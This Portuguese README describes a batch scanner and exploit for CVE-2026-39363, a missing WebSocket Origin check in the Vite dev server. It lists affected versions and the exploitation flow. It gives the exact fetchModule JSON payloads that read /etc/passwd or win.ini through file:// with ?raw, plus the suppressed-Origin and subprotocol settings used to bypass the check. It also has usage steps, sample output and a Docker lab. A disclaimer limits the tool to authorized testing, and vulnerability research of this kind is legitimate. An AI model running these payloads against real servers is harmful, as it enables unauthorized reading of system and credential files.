
Scanner de vulnerabilidades em lote para CVE-2026-39363 no servidor de desenvolvimento Vite, explorando a bypass de validação de origem do WebSocket para ler arquivos arbitrários via fetchModule com o protocolo file://.
Aviso Legal: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e pesquisa educacional. O usuário deve cumprir as leis e regulamentos locais; a varredura ou o ataque a sistemas de terceiros sem autorização é ilegal. O autor não se responsabiliza por qualquer uso indevido.
O WebSocket HMR do servidor de desenvolvimento Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) não valida o cabeçalho Origin. Um atacante pode invocar fetchModule por meio do evento vite:invoke, usando o protocolo file:// combinado com o parâmetro ?raw para contornar a restrição server.fs.allow e ler arquivos arbitrários do servidor.
url.txt → http://host:port
↓ analisa host + port
↓
┌─ Etapa 1: tenta ws://host:porta informada
│ ├─ Handshake WebSocket bem-sucedido + exploit bem-sucedido → vulnerável
│ └─ falha → se a porta informada == 5173 → não vulnerável
│
└─ Etapa 3: verifica host:5173 (somente se a porta informada ≠ 5173)
├─ porta fechada → não vulnerável
└─ porta aberta → handshake WebSocket + exploit na porta 5173
├─ sucesso → vulnerável
└─ falha → não vulnerável
pip install -r requirements.txt
Para ativar o proxy, basta descomentar as linhas 26-27 do script
# Para ativar o proxy, descomente as duas linhas abaixo e defina o endereço e a porta corretos do proxy
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Escreva as URLs dos alvos em url.txt, uma por linha:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminal:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Cada linha contém o tipo de POC (
Linux/Windows), identificando as características do arquivo lido com sucesso.
| Sistema Alvo | Arquivo Lido | Marcador de Característica |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Suporta dois formatos de payload (tentados em ordem):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Parâmetro | Valor | Motivo |
|---|---|---|
| Subprotocolo | vite-hmr | Requisito do WebSocket HMR do Vite |
| Origin | Supressão de envio (suppress_origin=True) | O Vite rejeita conexões não-navegador com cabeçalho Origin |
# Iniciar
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Escanear
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Limpar
docker stop vite-vuln && docker rm vite-vuln
P: Todas as verificações retornam "não vulnerável"?
--host ou server.hostWebSocket não está desabilitado por server.ws: falseP: Saída com caracteres corrompidos no Windows?
P: O url.txt gerado pelo PowerShell não pode ser analisado?
utf-8-sig para ignorar automaticamente o BOM